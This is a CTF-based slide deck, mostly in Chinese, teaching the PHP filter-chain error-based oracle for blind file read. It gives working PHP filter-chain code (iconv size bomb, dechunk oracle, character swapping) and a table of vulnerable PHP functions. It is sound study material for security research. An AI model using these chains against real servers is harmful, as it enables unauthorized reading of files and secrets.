### PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE <!-- slide: --> --- ### Introduction * DownUnder CTF 2022 ```Dockerfile FROM php:8.1-apache RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" COPY index.php /var/www/html/index.php COPY flag /flag ``` ```php <?php file($_POST[0]); ``` --- ### File read with error-based oracle * php://filter 1. Use the `iconv` filter with an encoding increasing the data size exponentially to trigger a memory error. 2. Use the `dechunk` filter to determine the first character of the file, based on the previous error. 3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one. --- #### OVERFLOWING THE MAXIMUM FILE SIZE ---- iconv 函數允許設定傳遞給它的字串的編碼,也可以直接從 php://filter 包裝器呼叫 ![image](https://hackmd.io/_uploads/rJohdfJJ0.png) ---- 那我們重複幾次 iconv 依然可以保留需要的字元,且讓檔案大小變大 ![image](https://hackmd.io/_uploads/H1BdtfJyR.png) ---- php.ini 預設的 `memory_limit` 是 128MB,因此我們多重複幾次 iconv 就能讓他觸發 PHP fatal error ![image](https://hackmd.io/_uploads/rkDNqz1kC.png) ---- ![image](https://hackmd.io/_uploads/HytLqfyJ0.png) --- ### LEAKING THE FIRST CHARACTER OF THE FILE ---- #### Dechunk filter 這個技巧使用了包裝器dechunk中的方法,該方法在 PHP 文件中沒有詳細說明,但其目的是處理分塊傳輸編碼。後者將資料分割成 2 個以 CRLF 結尾的行的區塊,第一個字元用來定義區塊長度。 ``` 5\r\n (chunk length) Chunk\r\n (chunk data) f\r\n (chunk length) PHPfiltersrock!\r\n (chunk data) ``` ---- 因為 dechunk 後的開頭必須是區塊長度(hex 表示),因此若非 `[0-9], [a-f], [A-F]` 字元,dechunk 會 parse 失敗,然後就不解析了 ![image](https://hackmd.io/_uploads/H1_NoMkyA.png) ---- 因此我們可以利用以上兩個條件,來讓非 16 進制的開頭的內容觸發 Fatal error ```php <?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $filter = "php://filter/dechunk|$size_bomb/resource=/tmp/test"; echo file_get_contents($filter); ``` ![image](https://hackmd.io/_uploads/B1XIlQkkA.png) --- ### Retrieving the leading character value ---- #### Retrieving [a-e] characters ---- ASCII Codec | | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf | | ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- | | [...] | | | | | | | | | | | | 6x | \` | a | b | c | d | e | f | g | | o | | [...] | | | | | | | | | | | | | | | | | | | | | | | ---- X-IBM-930 Codec | | x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | [...] | xf | | ----- | --- | --- | --- | --- | --- | --- | --- | --- | ----- | --- | | [...] | | | | | | | | | | | | 6x | - | / | a | b | c | d | e | f | g | ? | | [...] | | | | | | | | | | | | | | | | | | | | | | | ---- ```php <?php $guess_char = ""; for ($i=1; $i <= 7; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char/resource=/tmp/test"; echo "IBM-930 conversions : ".$i; echo ", First char value : ".file_get_contents($filter)[0]."\n"; } ``` ![image](https://hackmd.io/_uploads/S1P5e7k1A.png) ---- 接下來將 iconv 與 error-based oracle 組合起來 ---- ```php <?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."\n"; } ``` ---- 有了這結果,可以利用來判斷出第一個字元是不是 `a` `b` `c` `d` `e`,搭配 string.rot13 還可以知道 `n` `o` `p` `q` `r`,甚至是推出所有字母 ![image](https://hackmd.io/_uploads/HyL6em11C.png) ---- #### Retrieving [0-9] characters 但推出數字有另一個比較 tricky 的做法 ---- 根據 base64 的原理,我們可以知道 0-9 拿去 base64 encode 時,encode 完的開頭一定是 `M` `N` `O`,但是 encode 完的第二個字元,需要根據 0-9 後面接的字元決定,更精確的說,需要根據後面的字元的前 4 bits ![image](https://hackmd.io/_uploads/S1DEfXJJR.png) ---- 那我們就可以整理出以下表格 | Character | base64-encoded first character | base64-encoded second character | | --------- | ------------------------------ | ------------------------------- | | 0 | M | C, D, E, F, G or H | | 1 | M | S, T, U, V, W or X | | 2 | M | i, j, k, l, m or n | | 3 | M | y, z or a number | | 4 | N | C, D, E, F, G or H | | 5 | N | S, T, U, V, W or X | | 6 | N | i, j, k, l, m or n | | 7 | N | y, z or a number | | 8 | O | C, D, E, F, G or H | | 9 | O | S, T, U, V, W or X | ---- #### Retrieving other letters ---- 其他符號可以利用其他編碼來獲得 ---- X-IBM-285 Codec | | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | | ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- | | [...] | | | | | | | | | | | | | 5x | ' | é | ê | | ß | ! | £ | * | ) | ; | ¬ | | [...] | | | | | | | | | | | | | | | | | | | | | | | | | ---- X-IBM-280 Codec | | x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | | ----- | --- | --- | --- | ----- | --- | --- | --- | --- | --- | --- | --- | | [...] | | | | | | | | | | | | | 4x | | | â | | ñ | $ | . | < | ( | + | ! | | [...] | | | | | | | | | | | | | | | | | | | | | | | | | --- ### RETRIEVING NON-LEADING CHARACTERS ---- #### Swapping characters 利用 little endian 去做轉換就可以變換開頭的字元 ![image](https://hackmd.io/_uploads/Hy4V4QkJR.png) ---- 而超出 4 bytes 的部分可以利用填充無意義字元來處理 ![image](https://hackmd.io/_uploads/Bkps47y1R.png) ---- ```php <?php $size_bomb = ""; for ($i = 1; $i <= 20; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $swap_bits = "convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|"; $filter = "php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."\n"; } ``` ---- ![image](https://hackmd.io/_uploads/ByvzH7yJ0.png) --- # AFFECTED FUNCTIONS 只要對文件內容執行操作,函數就可能會受到 php://filter 包裝器的影響。 ---- | Function | Pattern | | --------------------------------------------------- | ------------------------------------------------------------------------- | | file_get_contents | `file_get_contents($_POST[0]);` | | readfile | `readfile($_POST[0]);` | | finfo->file | `$file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);` | | getimagesize | `getimagesize($_POST[0]);` | | md5_file | `md5_file($_POST[0]);` | | sha1_file | `sha1_file($_POST[0]);` | | hash_file | `hash_file('md5', $_POST[0]);` | | file | `file($_POST[0]);` | | parse_ini_file | `parse_ini_file($_POST[0]);` | | copy | `copy($_POST[0], '/tmp/test');` | | file_put_contents (only target read only with this) | `file_put_contents($_POST[0], "");` | | stream_get_contents | `$file = fopen($_POST[0], "r"); stream_get_contents($file);` | | fgets | `$file = fopen($_POST[0], "r"); fgets($file);` | | fread | `$file = fopen($_POST[0], "r"); fread($file, 10000);` | | fgetc | `$file = fopen($_POST[0], "r"); fgetc($file);` | | fgetcsv | `$file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ",");` | | fpassthru | `$file = fopen($_POST[0], "r"); fpassthru($file);` | | fputs | `$file = fopen($_POST[0], "rw"); fputs($file, 0);` | ---- 一旦使用 file_exists 或 is_file 等函數控制輸入字串,漏洞將無法被利用,因為它們都是 stats 內部調用,不支援包裝器。 ![image](https://hackmd.io/_uploads/rk9B8mJJ0.png) ---- 而且 payload 會超大,例如說 746 個字元長的檔案的完全洩漏將需要大約 14k 個請求,最新的有效負載將約為 50KB。 ![image](https://hackmd.io/_uploads/r1ImUQ1yC.png) --- ## End [工具連結](https://github.com/synacktiv/php_filter_chains_oracle_exploit) --- ## Reference [Source](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) [tools](https://github.com/synacktiv/php_filter_chains_oracle_exploit)
{"contributors":"[{\"id\":\"e70450c1-042e-4d28-8341-910fe1a65735\",\"add\":11699,\"del\":825}]","title":"PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE","description":"JWT"}
    535 views